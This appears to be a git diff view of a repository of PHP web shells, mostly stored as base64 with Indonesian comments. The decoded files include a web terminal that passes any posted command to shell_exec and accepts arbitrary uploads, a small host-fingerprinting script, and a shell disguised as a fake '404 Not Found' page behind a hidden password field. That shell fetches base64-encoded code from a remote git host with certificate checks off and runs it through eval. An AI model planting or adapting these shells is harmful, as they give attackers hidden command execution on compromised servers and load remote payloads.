LXRpdGxlIj48L2Rpdj4gPCEtLSBUZW1wYXQganVkdWwgZGVuZ2FuIGVmZWsga2V0aWsgLS0+Cgog
ICAgPCEtLSBMb2dvIC0tPgogICAgPGRpdiBjbGFzcz0ibG9nbyI+CiAgICAgICAgPGltZyBzcmM9
Imh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gv
bWFpbi9pbWcvd3NwbG9pdC5qcGVnIiBhbHQ9IkxvZ28iPgogICAgPC9kaXY+CgogICAgPCEtLSBU
ZXJtaW5hbCBPdXRwdXQgU2VjdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAg
ICAgICA8cHJlPgogICAgICAgIDw/cGhwCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01F
VEhPRCddID09PSAnUE9TVCcpIHsKICAgICAgICAgICAgLy8gSmlrYSBwZXJtaW50YWFuIHVudHVr
IGVrc2VrdXNpIHBlcmludGFoCiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NvbW1hbmQn
XSkpIHsKICAgICAgICAgICAgICAgICRjb21tYW5kID0gJF9QT1NUWydjb21tYW5kJ107CgogICAg
ICAgICAgICAgICAgLy8gRmlsdGVyIHBlcmludGFoIHVudHVrIGtlYW1hbmFuCiAgICAgICAgICAg
ICAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIC8vIEVrc2Vr
dXNpIHBlcmludGFoIG1lbmdndW5ha2FuIHNoZWxsX2V4ZWMKICAgICAgICAgICAgICAgICAgICAk
b3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAg
ICAgIGlmICgkb3V0cHV0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNs
YXNzPSdvdXRwdXQtc3VjY2Vzcyc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkgLiAiPC9z
cGFuPiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGlkYWsgYWRhIG91dHB1dCBhdGF1
IHBlcmludGFoIHRpZGFrIHZhbGlkITwvc3Bhbj4iOwogICAgICAgICAgICAgICAgICAgIH0KICAg
ICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xh
c3M9J291dHB1dC1lcnJvcic+TWFzdWtrYW4gcGVyaW50YWggeWFuZyB2YWxpZCE8L3NwYW4+IjsK
ICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gSmlr
YSBwZXJtaW50YWFuIHVudHVrIHVuZ2dhaCBmaWxlCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFV
RVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAg
ICAgICAgICAkZmlsZSA9ICRfRklMRVNbJ2ZpbGUnXTsKICAgICAgICAgICAgJHVwbG9hZERpcmVj
dG9yeSA9ICd1cGxvYWRzLyc7CgogICAgICAgICAgICAvLyBCdWF0IGRpcmVrdG9yaSBqaWthIGJl
bHVtIGFkYQogICAgICAgICAgICBpZiAoIWlzX2RpcigkdXBsb2FkRGlyZWN0b3J5KSkgewogICAg
ICAgICAgICAgICAgbWtkaXIoJHVwbG9hZERpcmVjdG9yeSwgMDc1NSwgdHJ1ZSk7CiAgICAgICAg
ICAgIH0KCiAgICAgICAgICAgICRmaWxlUGF0aCA9ICR1cGxvYWREaXJlY3RvcnkgLiBiYXNlbmFt
ZSgkZmlsZVsnbmFtZSddKTsKICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmls
ZVsndG1wX25hbWUnXSwgJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4g
Y2xhc3M9J291dHB1dC1zdWNjZXNzJz5GaWxlIGJlcmhhc2lsIGRpdW5nZ2FoOiAiIC4gaHRtbHNw
ZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKSAuICI8L3NwYW4+XG4iOwogICAgICAgICAgICB9IGVs
c2UgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGVy
amFkaSBrZXNhbGFoYW4gc2FhdCBtZW5ndW5nZ2FoIGZpbGUhPC9zcGFuPlxuIjsKICAgICAgICAg
ICAgfQogICAgICAgIH0KICAgICAgICA/PgogICAgICAgIDwvcHJlPgogICAgPC9kaXY+CgogICAg
PCEtLSBJbnB1dCBGb3JtIGZvciBUZXJtaW5hbCBDb21tYW5kIC0tPgogICAgPGZvcm0gbWV0aG9k
PSJQT1NUIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9
ImlucHV0IiBwbGFjZWhvbGRlcj0iTWFzdWtrYW4gcGVyaW50YWggdGVybWluYWwiIHJlcXVpcmVk
PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+RWtzZWt1
c2kgUGVyaW50YWg8L2J1dHRvbj4KICAgIDwvZm9ybT4KCiAgICA8YnI+CgogICAgPCEtLSBJbnB1
dCBGb3JtIGZvciBGaWxlIFVwbG9hZCAtLT4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlw
ZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9
ImZpbGUiIGNsYXNzPSJpbnB1dCIgYWNjZXB0PSIqLyoiPgogICAgICAgIDxidXR0b24gdHlwZT0i
c3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+VW5nZ2FoIEZpbGU8L2J1dHRvbj4KICAgIDwvZm9y
bT4KPC9kaXY+Cgo8c2NyaXB0PgogICAgLy8gRWZlayBLcmF0b20gdW50dWsgTmdlZmx5IG11cmFo
YW4KICAgIGNvbnN0IHRpdGxlID0gIldlYiBUZXJtaW5hbCBJbnRlcmZhY2UiOwogICAgY29uc3Qg
dHlwaW5nVGl0bGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHlwaW5nLXRpdGxlJyk7CiAg
ICBsZXQgaW5kZXggPSAwOwoKICAgIGZ1bmN0aW9uIHR5cGUoKSB7CiAgICAgICAgaWYgKGluZGV4
IDwgdGl0bGUubGVuZ3RoKSB7CiAgICAgICAgICAgIHR5cGluZ1RpdGxlLnRleHRDb250ZW50ICs9
IHRpdGxlLmNoYXJBdChpbmRleCk7CiAgICAgICAgICAgIGluZGV4Kys7CiAgICAgICAgICAgIHNl
dFRpbWVvdXQodHlwZSwgMTAwKTsgLy8gS2VjZXBhdGFuIENpbnRha3UgcGFkYW11IAogICAgICAg
IH0KICAgIH0KICAgIHR5cGUoKTsgLy8gTXVsYWkgZWZlayBDaXUKCiAgICBjbGFzcyBNYXRyaXhS
YWluIHsKICAgICAgICBjb25zdHJ1Y3RvcihjYW52YXMsIHdpZHRoLCBoZWlnaHQsIGNoYXJzLCBz
cGVlZCwgb3BhY2l0eSkgewogICAgICAgICAgICB0aGlzLmNhbnZhcyA9IGNhbnZhczsKICAgICAg
ICAgICAgdGhpcy5jdHggPSBjYW52YXMuZ2V0Q29udGV4dCgnMmQnKTsKICAgICAgICAgICAgdGhp
cy5jaGFycyA9IGNoYXJzOwogICAgICAgICAgICB0aGlzLnNwZWVkID0gc3BlZWQ7CiAgICAgICAg
ICAgIHRoaXMub3BhY2l0eSA9IG9wYWNpdHk7CiAgICAgICAgICAgIHRoaXMuY29sdW1ucyA9IE1h
dGguZmxvb3Iod2lkdGggLyAyMCk7CiAgICAgICAgICAgIHRoaXMuZHJvcHMgPSBBcnJheSh0aGlz
LmNvbHVtbnMpLmZpbGwoMSk7CiAgICAgICAgICAgIHRoaXMuaW5pdCgpOwogICAgICAgIH0KCiAg
ICAgICAgaW5pdCgpIHsKICAgICAgICAgICAgdGhpcy5jYW52YXMud2lkdGggPSB3aW5kb3cuaW5u
ZXJXaWR0aDsKICAgICAgICAgICAgdGhpcy5jYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVp
Z2h0OwogICAgICAgICAgICB0aGlzLnN0YXJ0UmFpbigpOwogICAgICAgIH0KCiAgICAgICAgc3Rh
cnRSYWluKCkgewogICAgICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgICAg
ICB0aGlzLmN0eC5maWxsU3R5bGUgPSBgcmdiYSgwLCAwLCAwLCAke3RoaXMub3BhY2l0eX0pYDsK
ICAgICAgICAgICAgICAgIHRoaXMuY3R4LmZpbGxSZWN0KDAsIDAsIHRoaXMuY2FudmFzLndpZHRo
LCB0aGlzLmNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFN0eWxl
ID0gJyMwRjAnOyAvLyBXYXJuYSBoaWphdSB1bnR1ayBrYXJha3RlcgogICAgICAgICAgICAgICAg
dGhpcy5jdHguZm9udCA9ICcyMHB4IG1vbm9zcGFjZSc7CiAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdGhpcy5jb2x1bW5zOyBpKyspIHsKICAgICAg
ICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gdGhpcy5jaGFyc1tNYXRoLmZsb29yKE1hdGgucmFu
ZG9tKCkgKiB0aGlzLmNoYXJzLmxlbmd0aCldOwogICAgICAgICAgICAgICAgICAgIGNvbnN0IHgg
PSBpICogMjA7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgeSA9IHRoaXMuZHJvcHNbaV0gKiAy
MDsKCiAgICAgICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFRleHQodGV4dCwgeCwgeSk7CiAg
ICAgICAgICAgICAgICAgICAgaWYgKHkgPiB0aGlzLmNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5k
b20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRoaXMuZHJvcHNbaV0gPSAw
OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB0aGlzLmRyb3BzW2ld
Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sIHRoaXMuc3BlZWQpOwogICAgICAg
IH0KICAgIH0KCiAgICAvLyBNZW5qYWxhbmthbiBNYXRyaXggUmFpbgogICAgY29uc3QgbWF0cml4
UmFpbiA9IG5ldyBNYXRyaXhSYWluKAogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdj
YW52YXMnKSwKICAgICAgICB3aW5kb3cuaW5uZXJXaWR0aCwKICAgICAgICB3aW5kb3cuaW5uZXJI
ZWlnaHQsCiAgICAgICAgWwogICAgICAgICAgICAnMCcsJzEnLCcyJywnMycsJzQnLCc1JywnNics
JzcnLCc4JywnOScsCiAgICAgICAgICAgICdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcs
J2knLCdqJywnaycsJ2wnLCdtJywnbicsJ28nLCdwJywncScsJ3InLCdzJywndCcsJ3UnLCd2Jywn
dycsJ3gnLCd5JywneicKICAgICAgICBdLAogICAgICAgIDUwLCAvLyBLZWNlcGF0YW4gaHVqYW4K
ICAgICAgICAwLjA1IC8vIE9wYXNpdGFzIGxhdGFyIGJlbGFrYW5nCiAgICApOwoKPC9zY3JpcHQ+
Cgo8L2JvZHk+CjwvaHRtbD4K

9
raw/tes Normal file
View File

@ -0,0 +1,9 @@
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
// Output JSON
$unameInfo = exec('uname -a');
echo json_encode(["uname" => $unameInfo]);
?>

1
raw/wshell Normal file

File diff suppressed because one or more lines are too long

124
raw/wshell2 Normal file
View File

@ -0,0 +1,124 @@
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKLy8gQVBJCiR2YWxpZF9rZXlfdXJsID0gImh0dHBzOi8v
Z2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9hcGkv
djEvd3NoZWxsLWtleSI7IC8vIEFQSSBLZXkKJHZhbGlkX2tleV9oYXNoID0gdHJpbShmaWxlX2dl
dF9jb250ZW50cygkdmFsaWRfa2V5X3VybCkpOyAKCi8vIEZ1bmdzaQpmdW5jdGlvbiBzaG93X2xv
Z2luX2Zvcm0oJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgPz4KICAgIDxodG1sIHN0eWxlPSJo
ZWlnaHQ6MTAwJSI+CiAgICAgICAgPHNjcmlwdCBzcmM9ImNocm9tZS1leHRlbnNpb246Ly9lcHBp
b2NlbWhtbmxiaGpwbGNna29mY2lpZWdvbWNvbi9jb250ZW50L2xvY2F0aW9uL2xvY2F0aW9uLmpz
IiBpZD0iZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24iPjwvc2NyaXB0PjxzY3JpcHQg
c3JjPSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24v
bGlicy9leHRlbmQtbmF0aXZlLWhpc3RvcnktYXBpLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0i
Y2hyb21lLWV4dGVuc2lvbjovL2VwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uL2xpYnMv
cmVxdWVzdHMuanMiPjwvc2NyaXB0PjxoZWFkPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0
IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRv
LWZpdD1ubyI+CiAgICAgICAgPHRpdGxlPiA0MDQgTm90IEZvdW5kPC90aXRsZT4KICAgICAgICA8
c2NyaXB0IGJpc191c2U9InRydWUiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgY2hhcnNldD0idXRm
LTgiIGRhdGEtYmlzLWNvbmZpZz0iWyZxdW90O2ZhY2Vib29rLmNvbS8mcXVvdDssJnF1b3Q7dHdp
dHRlci5jb20vJnF1b3Q7LCZxdW90O3lvdXR1YmUtbm9jb29raWUuY29tL2VtYmVkLyZxdW90Oywm
cXVvdDsvL3ZrLmNvbS8mcXVvdDssJnF1b3Q7Ly93d3cudmsuY29tLyZxdW90OywmcXVvdDtsaW5r
ZWRpbi5jb20vJnF1b3Q7LCZxdW90Oy8vd3d3LmxpbmtlZGluLmNvbS8mcXVvdDssJnF1b3Q7Ly9p
bnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5pbnN0YWdyYW0uY29tLyZxdW90OywmcXVv
dDsvL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkyLyZxdW90OywmcXVvdDsvL2hhbmdvdXRz
Lmdvb2dsZS5jb20vd2ViY2hhdC8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9jYWxlbmRh
ci8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL2VtYmVkJnF1b3Q7LCZxdW90O3Nw
b3RpZnkuY29tLyZxdW90OywmcXVvdDtzb3VuZGNsb3VkLmNvbS8mcXVvdDssJnF1b3Q7Ly9wbGF5
ZXIudmltZW8uY29tLyZxdW90OywmcXVvdDsvL2Rpc3F1cy5jb20vJnF1b3Q7LCZxdW90Oy8vdGd3
aWRnZXQuY29tLyZxdW90OywmcXVvdDsvL2pzLmRyaWZ0dC5jb20vJnF1b3Q7LCZxdW90O2ZyaWVu
ZHMyZm9sbG93LmNvbSZxdW90OywmcXVvdDsvd2lkZ2V0JnF1b3Q7LCZxdW90O2xvZ2luJnF1b3Q7
LCZxdW90Oy8vdmlkZW8uYmlnbWlyLm5ldC8mcXVvdDssJnF1b3Q7YmxvZ2dlci5jb20mcXVvdDss
JnF1b3Q7Ly9zbWFydGxvY2suZ29vZ2xlLmNvbS8mcXVvdDssJnF1b3Q7Ly9rZWVwLmdvb2dsZS5j
b20vJnF1b3Q7LCZxdW90Oy93ZWIudG9sc3RveWNvbW1lbnRzLmNvbS8mcXVvdDssJnF1b3Q7bW96
LWV4dGVuc2lvbjovLyZxdW90OywmcXVvdDtjaHJvbWUtZXh0ZW5zaW9uOi8vJnF1b3Q7LCZxdW90
Oy9hdXRoLyZxdW90OywmcXVvdDsvL2FuYWx5dGljcy5nb29nbGUuY29tLyZxdW90OywmcXVvdDth
ZGNsYXJpdHkuY29tJnF1b3Q7LCZxdW90O3BhZGRsZS5jb20vY2hlY2tvdXQmcXVvdDssJnF1b3Q7
aGNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O3JlY2FwdGNoYS5uZXQmcXVvdDssJnF1b3Q7MmNhcHRj
aGEuY29tJnF1b3Q7LCZxdW90O2FjY291bnRzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7d3d3Lmdv
b2dsZS5jb20vc2hvcHBpbmcvY3VzdG9tZXJyZXZpZXdzJnF1b3Q7LCZxdW90O2J1eS50aW55cGFz
cy5jb20mcXVvdDssJnF1b3Q7Z3N0YXRpYy5jb20mcXVvdDssJnF1b3Q7c2VjdXJlaXIuZWJheXN0
YXRpYy5jb20mcXVvdDssJnF1b3Q7ZG9jcy5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2NvbnRhY3Rz
Lmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Z2l0aHViLmNvbSZxdW90OywmcXVvdDttYWlsLmdvb2ds
ZS5jb20mcXVvdDssJnF1b3Q7Y2hhdC5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2F1ZGlvLnhwbGVl
ci5jb20mcXVvdDssJnF1b3Q7a2VlcGEuY29tJnF1b3Q7LCZxdW90O3N0YXRpYy54eC5mYmNkbi5u
ZXQmcXVvdDssJnF1b3Q7c2FzLnNlbGxlcmFtcC5jb20mcXVvdDssJnF1b3Q7MXBsdXMxLnZpZGVv
JnF1b3Q7LCZxdW90O2NvbnNvbGUuZ29vZ2xldGFnc2VydmljZXMuY29tJnF1b3Q7LCZxdW90Oy8v
bG5rZC5kZW1kZXgubmV0LyZxdW90OywmcXVvdDsvL3JhZGFyLmNlZGV4aXMuY29tLyZxdW90Oywm
cXVvdDsvL2xpLnByb3RlY2h0cy5uZXQvJnF1b3Q7LCZxdW90O2NoYWxsZW5nZXMuY2xvdWRmbGFy
ZS5jb20vJnF1b3Q7LCZxdW90O29ncy5nb29nbGUuY29tJnF1b3Q7XSIgc3JjPSJjaHJvbWUtZXh0
ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24vLi4vZXhlY3V0ZXJzL3Zp
LXRyLmpzIj48L3NjcmlwdD4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIEBtZWRpYSAocHJl
ZmVycy1jb2xvci1zY2hlbWU6ZGFyayl7Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAhaW1wb3J0
YW50fX0KICAgICAgICAgICAgLmlucHV0a2V5IHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQt
Y29sb3I6ICMwMDA7CiAgICAgICAgICAgICAgICBib3JkZXI6IDAgIzAwMDsKICAgICAgICAgICAg
ICAgIGNvbG9yOiBncmV5OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5idG5rZXkgewogICAg
ICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKICAgICAgICAgICAgICAgIGNvbG9y
OiAjMDAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgIDwvc3R5bGU+CiAgICAgICAgPC9oZWFk
PgoKICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6ICM0NDQ7IG1hcmdpbjowO2ZvbnQ6IG5vcm1h
bCAxNHB4LzIwcHggQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgaGVpZ2h0OjEwMCU7IGJh
Y2tncm91bmQtY29sb3I6ICNmZmY7IiBfX3Byb2Nlc3NlZF82NDI1MmNlZC00ZDk0LTQyNDUtYmU0
My1hNjhmMDJhNGFlMjhfXz0idHJ1ZSIgYmlzX3JlZ2lzdGVyPSJXM3NpYldGemRHVnlJanAwY25W
bExDSmxlSFJsYm5OcGIyNUpaQ0k2SW1Wd2NHbHZZMlZ0YUcxdWJHSm9hbkJzWTJkcmIyWmphV2xs
WjI5dFkyOXVJaXdpWVdSaWJHOWphMlZ5VTNSaGRIVnpJanA3SWtSSlUxQk1RVmtpT2lKbGJtRmli
R1ZrSWl3aVJrRkRSVUpQVDBzaU9pSmxibUZpYkdWa0lpd2lWRmRKVkZSRlVpSTZJbVZ1WVdKc1pX
UWlMQ0pTUlVSRVNWUWlPaUpsYm1GaWJHVmtJaXdpVUVsT1ZFVlNSVk5VSWpvaVpXNWhZbXhsWkNJ
c0lrbE9VMVJCUjFKQlRTSTZJbVZ1WVdKc1pXUWlMQ0pNU1U1TFJVUkpUaUk2SW1ScGMyRmliR1Zr
SWl3aVEwOU9Sa2xISWpvaVpHbHpZV0pzWldRaWZTd2lkbVZ5YzJsdmJpSTZJakl1TUM0eE5pSXNJ
bk5qYjNKbElqb3lNREF4TmpCOVhRPT0iPgogICAgICAgIDxkaXYgc3R5bGU9ImhlaWdodDphdXRv
OyBtaW4taGVpZ2h0OjEwMCU7ICIgYmlzX3NraW5fY2hlY2tlZD0iMSI+ICAgICA8ZGl2IHN0eWxl
PSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOjgwMHB4OyBtYXJnaW4tbGVmdDogLTQwMHB4OyBw
b3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAzMCU7IGxlZnQ6NTAlOyIgYmlzX3NraW5fY2hlY2tlZD0i
MSI+CiAgICAgICAgPGgxIHN0eWxlPSJtYXJnaW46MDsgZm9udC1zaXplOjE1MHB4OyBsaW5lLWhl
aWdodDoxNTBweDsgZm9udC13ZWlnaHQ6Ym9sZDsiPjQwNDwvaDE+CiAgICAgICAgPGgyIHN0eWxl
PSJtYXJnaW4tdG9wOjIwcHg7Zm9udC1zaXplOiAzMHB4OyI+Tm90IEZvdW5kCiAgICAgICAgPC9o
Mj4KICAgICAgICA8cD5UaGUgcmVzb3VyY2UgcmVxdWVzdGVkIGNvdWxkIG5vdCBiZSBmb3VuZCBv
biB0aGlzIHNlcnZlciE8L3A+CiAgICAgICAgPD9waHAgaWYgKCRlcnJvcl9tZXNzYWdlKTogPz4K
ICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiByZWQ7Ij48P3BocCBlY2hvICRlcnJvcl9tZXNz
YWdlOyA/PjwvcD4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8Zm9ybSBtZXRob2Q9
InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0ia2V5Ij48L2xhYmVsPgog
ICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImlucHV0a2V5IiB0eXBlPSJwYXNzd29yZCIgbmFtZT0i
a2V5IiBpZD0ia2V5IiByZXF1aXJlZD4KICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPgogICAg
ICAgIDwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOiNmMGYwZjA7IGZvbnQtc2l6ZToxMnB4
O21hcmdpbjphdXRvO3BhZGRpbmc6MHB4IDMwcHggMHB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7
Y2xlYXI6Ym90aDtoZWlnaHQ6MTAwcHg7bWFyZ2luLXRvcDotMTAxcHg7YmFja2dyb3VuZC1jb2xv
cjojNDc0NzQ3O2JvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDAsMCwwLDAuMTUpO2JveC1zaGFk
b3c6IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpIGluc2V0OyIgYmlzX3NraW5fY2hl
Y2tlZD0iMSI+CiAgICAgICAgPGJyPlByb3VkbHkgcG93ZXJlZCBieSBMaXRlU3BlZWQgV2ViIFNl
cnZlcjxwPlBsZWFzZSBiZSBhZHZpc2VkIHRoYXQgTGl0ZVNwZWVkIFRlY2hub2xvZ2llcyBJbmMu
IGlzIG5vdCBhIHdlYiBob3N0aW5nIGNvbXBhbnkgYW5kLCBhcyBzdWNoLCBoYXMgbm8gY29udHJv
bCBvdmVyIGNvbnRlbnQgZm91bmQgb24gdGhpcyBzaXRlLjwvcD48L2Rpdj4KCiAgICA8L2JvZHk+
CiAgICA8L2h0bWw+CiAgICA8P3BocAp9CgovLyBGdW5nc2kgTWVudWp1IERhc2hib2FyZApmdW5j
dGlvbiBzaG93X2Rhc2hib2FyZCgpIHsKICAgIGZ1bmN0aW9uIGdldF9jb250ZW50cygkdXJsKSB7
CiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwg
Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJM
T1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
VVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8y
MDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
U1NMX1ZFUklGWVBFRVIsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xf
VkVSSUZZSE9TVCwgMCk7CiAgICAgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAg
IGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAkaGFz
aFVybCA9ICdodHRwczovL2dpdC53YXJjZXVwcm9qZWN0Lm9yZy9zeW4vd1NwbG9pdEh1Yi9yYXcv
YnJhbmNoL21haW4vYXBpL3YyL3BheWxvYWRrZXknOwogICAgJGNvZGVVcmwgPSAnaHR0cHM6Ly9n
aXQud2FyY2V1cHJvamVjdC5vcmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL2FwaS92
Mi93c2hlbGwnOwogICAgJGtleUhhc2ggPSB0cmltKGdldF9jb250ZW50cygkaGFzaFVybCkpOwog
ICAgaWYgKGVtcHR5KCRrZXlIYXNoKSkgewogICAgICAgIGRpZSgiR2FnYWwgbWVuZ2FtYmlsIGhh
c2gga2V5IGRhcmkgVVJMLlxuIik7CiAgICB9CiAgICAkZW5jb2RlZF9jb2RlID0gZ2V0X2NvbnRl
bnRzKCRjb2RlVXJsKTsKICAgIGlmIChlbXB0eSgkZW5jb2RlZF9jb2RlKSkgewogICAgICAgIGRp
ZSgiR2FnYWwgbWVuZ2FtYmlsIGtvZGUgdGVyZW5rcmlwc2kgZGFyaSBVUkwuXG4iKTsKICAgIH0K
ICAgICRkZWNvZGVkX2NvZGUgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVkX2NvZGUpOwogICAgJGNs
ZWFuX2NvZGUgPSBzdHJfcmVwbGFjZSgka2V5SGFzaCwgJycsICRkZWNvZGVkX2NvZGUpOwogICAg
CiAgICAvLyBNZW5qYWxhbmthbiBrb2RlIGxhbmdzdW5nIGRhcmkgbWVtb3JpCiAgICBldmFsKCI/
PiIgLiAkY2xlYW5fY29kZSk7Cn0KCi8vIENlayBhcGFrYWggRGlhIEluZ2luIGtlbHVhciBoYXRp
CmlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PT0gJ2xvZ291
dCcpIHsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogPyIpOyAv
LyBSZWRpcmVjdCBrZSBIYXRpIG9yYW5nIGxhaW4KICAgIGV4aXQ7Cn0KCi8vIENlayBhcGFrYWgg
RGlhIHN1ZGFoIG1lbWlsaWtpIHNlc2VvcmFuZz8KJGVycm9yX21lc3NhZ2UgPSAnJzsKaWYgKGlz
c2V0KCRfUE9TVFsna2V5J10pKSB7CiAgICAkaW5wdXRfa2V5ID0gJF9QT1NUWydrZXknXTsKICAg
ICRpbnB1dF9rZXlfaGFzaCA9IG1kNSgkaW5wdXRfa2V5KTsgCgogICAgLy8gQ2VrIGFwYWthaCBD
aW50YWt1IHBhZGFueWEgZGl0ZXJpbWE/IAogICAgaWYgKCRpbnB1dF9rZXlfaGFzaCA9PT0gJHZh
bGlkX2tleV9oYXNoKSB7CiAgICAgICAgJF9TRVNTSU9OWydsb2dnZWRpbiddID0gdHJ1ZTsKICAg
ICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/Iik7IC8vIFJlZGlyZWN0IGtlIEhhdGkgRGlhIHVudHVr
IHJlZnJlc2gKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICAkZXJyb3JfbWVzc2Fn
